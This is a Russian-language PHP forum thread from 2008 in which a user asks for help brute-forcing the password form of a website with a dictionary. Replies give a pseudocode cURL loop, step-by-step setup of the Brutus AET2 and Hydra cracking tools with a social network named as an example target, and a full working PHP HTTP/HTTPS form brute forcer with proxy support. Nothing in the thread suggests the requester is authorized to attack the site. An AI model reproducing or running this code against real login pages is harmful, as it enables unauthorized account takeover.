Простой брутфорсер HTML-формы

Тема в разделе "PHP", создана пользователем renegad, 3 дек 2008.

Статус темы:
Закрыта.
Модераторы: latteo
  1. renegad

    renegad Постоялец

    Регистр.:
    16 авг 2008
    Сообщения:
    84
    Симпатии:
    28
    Есть сайт, на странице которого находится форма с паролем (имя поля для ввода пароля "pass"), помогите примером кода, как сделать брутфорсер для этого сайта, перебирающий пароли из словаря.
     
  2. Юрик

    Юрик Постоялец

    Регистр.:
    2 фев 2008
    Сообщения:
    74
    Симпатии:
    2
    словарь это txt файл со словами?
    Тогда просто,
    $pass = file("словарь.txt");
    for ($i=0;$i<count($pass);$i++) {
    траляля курл.....

    курлсетопт POST 1

    $post = array(
    "имя формы" => $pass[$i],
    "имя кнопки" => "ok,
    )

    курлсетопт POSTFIElDS, $post

    }


    ну а дальше дело тезгники... регекспами парсишь $result, если ошибка неверно - дальше, если нормально - то записываем в файл, делаем exit();
     
  3. renegad

    renegad Постоялец

    Регистр.:
    16 авг 2008
    Сообщения:
    84
    Симпатии:
    28
    А можно в этих местах поподробнее? Тут все таки раздел "PHP для начинающих". :)

    И про регэкспы если можно тоже..

    Имя формы=pass
    Имя кнопки=submit
    При вводе неправильного пароля выдает сообщение: wrong password
     
  4. PHP_Master

    PHP_Master

    Регистр.:
    3 фев 2008
    Сообщения:
    2.647
    Симпатии:
    590
    Подробнее про curlhttp://phpclub.ru/detail/article/curl
    Раздел "PHP для начинающих" не значит, что за тебя всё сделают - тебе дали лопату, а копать, будь добр сам, по другому не научишься.
     
  5. win32

    win32

    Заблокирован
    Регистр.:
    17 июн 2008
    Сообщения:
    328
    Симпатии:
    192
    сорри за оффтоп, а чем
    Brutus AET version 2 под Win32 - универсальный переборщик пассов, не устраивает ?
    Для подбора паролей в Web-интерфейсе надо выбрать тип HTTP Forms, далее нажимаешь "modify sequence", появляется еще одно окно, куда вводишь адрес формы и нажимаешь learn form setting. Программа считывает нужную форму, после этого ты из списка полей выбираешь нужные поля (обычно они так и называются: username и password) и указываешь, какое из них является логином, а какое паролем. Еще надо задать отрицательный ответ сервера (т.е. когда пароль не подходит). В качестве него берешь слова, которые появляются при неправильном вводе пароля

    + есть ещё hydra
    запускаем софтину через командную строку и набираем, пример для vkontakte.ru
     
  6. unknown

    unknown Постоялец

    Регистр.:
    21 авг 2006
    Сообщения:
    103
    Симпатии:
    32
    Вот простой на php
    PHP:
    <html>
    <head><title>HTTP/HTTPS form bruter by Crazy_G1uk</title>
    <style>
    body
    {
    background-color: #1a1a1a;
    font-size: 10px;
    font-family: verdana, tahoma;
    color: #666666;
    }
    textarea
    {
    font-family: verdana, tahoma;
    font-size: 10px;
    color: grey;
    background-color: #1a1a1a;
    border: 1px #333333 solid;
    }
    a
    {
    font-size: 10px;
    text-decoration: none;
    color: grey;
    }
    </style>
    </head>
    <body>
    <form method=post>
    URL:<br>
    <input type=text name="url"><br>
    Type:<br>
    <select name="type">
           <option value="http">http
     <option value="https">https
    </select><br>
    Columns:<br>
    <textarea name="columns" cols=23>
    login={login}&pass={pass}
    </textarea><br>
    Login:<br>
    <input type=text name="login"><br>
    Dict file:<br>
    <input type=text name='dict'><br>
    Text(auth failed):<br>
    <input type=text name='bad'><br>
    Proxy:*<br>
    <input type=text name='proxy'><br>
    <input type=submit value="Start"><br>
    </form>
    <b><textarea rows=10 cols=23>
    <?php
    set_time_limit
    (0);
    if (
    $_POST['url'] && $_POST['type'] && $_POST['columns'] && $_POST['login'] && $_POST['dict'] && $_POST['bad']) {
     
    $dict=@fopen(trim($_POST['dict']),'r');
     
    $cols=trim($_POST['columns']);
     
    $url=trim($_POST['url']);
     
    $login=trim($_POST['login']);
     
    $bad=trim($_POST['bad']);
     if (
    $_POST['type']=='https') {
    while(!
    feof($dict)) {
     
    $pass=trim(fgets($dict));
     
    $postdata=str_replace('{login}',$login,$cols);
     
    $postdata=str_replace('{pass}',$pass,$postdata);
     
    $curl curl_init($url);
     
    curl_setopt ($curlCURLOPT_HEADER0);
     if (
    $proxy=trim($_POST['proxy'])) {
     
    curl_setopt ($curlCURLOPT_PROXY$proxy); 
     }
     
    curl_setopt($curlCURLOPT_FOLLOWLOCATION1);
     
    curl_setopt ($curlCURLOPT_POST1);
     
    curl_setopt ($curlCURLOPT_POSTFIELDS$postdata);
     
    curl_setopt ($curlCURLOPT_SSL_VERIFYPEER0);
     
    curl_setopt ($curlCURLOPT_RETURNTRANSFER1);
     
    curl_setopt ($curlCURLOPT_SSL_VERIFYHOST1);
     
    $res curl_exec ($curl);
     
    curl_close ($curl); 
     if(
    strpos($res,'200') && !strpos($res,$bad)) {
      echo 
    $login.':'.$pass.'    Done!';
      exit;
     }
       }
    echo 
    'Password not found';
     }
     else {
    while(!
    feof($dict)) {
    $pass=trim(fgets($dict));
     
    $postdata=str_replace('{login}',$login,$cols);
     
    $postdata=str_replace('{pass}',$pass,$postdata);
     
    $curl curl_init($url); 
     
    curl_setopt ($curlCURLOPT_HEADER1);
     if (
    $proxy=trim($_POST['proxy'])) {
     
    curl_setopt ($curlCURLOPT_PROXY$proxy); 
     }
     
    curl_setopt($curlCURLOPT_FAILONERROR0); 
     
    curl_setopt($curlCURLOPT_FOLLOWLOCATION1);
     
    curl_setopt($curlCURLOPT_RETURNTRANSFER,1);
     
    curl_setopt($curlCURLOPT_POST1); 
     
    curl_setopt($curlCURLOPT_POSTFIELDS$postdata); 
     
    $res curl_exec ($curl);
     
    curl_close($curl); 
     if(!
    strpos($res,$bad)) {
      echo 
    $login.':'.$pass.'    Done!';
      exit;
     }
    }
    echo 
    'Password not found';
     }
    }
    ?>
    </textarea></b><br><br><p>(c)oded by <b>Crazy_G1uk || dark_gluk</b> <br>

    </body>
    </html>
     
    renegad нравится это.
  7. renegad

    renegad Постоялец

    Регистр.:
    16 авг 2008
    Сообщения:
    84
    Симпатии:
    28
    Brutus AET2 я уже пробовал, все настраивал как ты написал, HTTP (Form), в Modify sequence вбил урл сайта где запрос пароля, обучил что pass это поле пароля, дальше нажимаю Start, пробуется первый пароль из вордлиста и тишина, только мигают внизу Timeout и Throttle, остальные пароли не перебираются :(
     
  8. Wentix

    Wentix Создатель

    Регистр.:
    26 авг 2008
    Сообщения:
    29
    Симпатии:
    14
Статус темы:
Закрыта.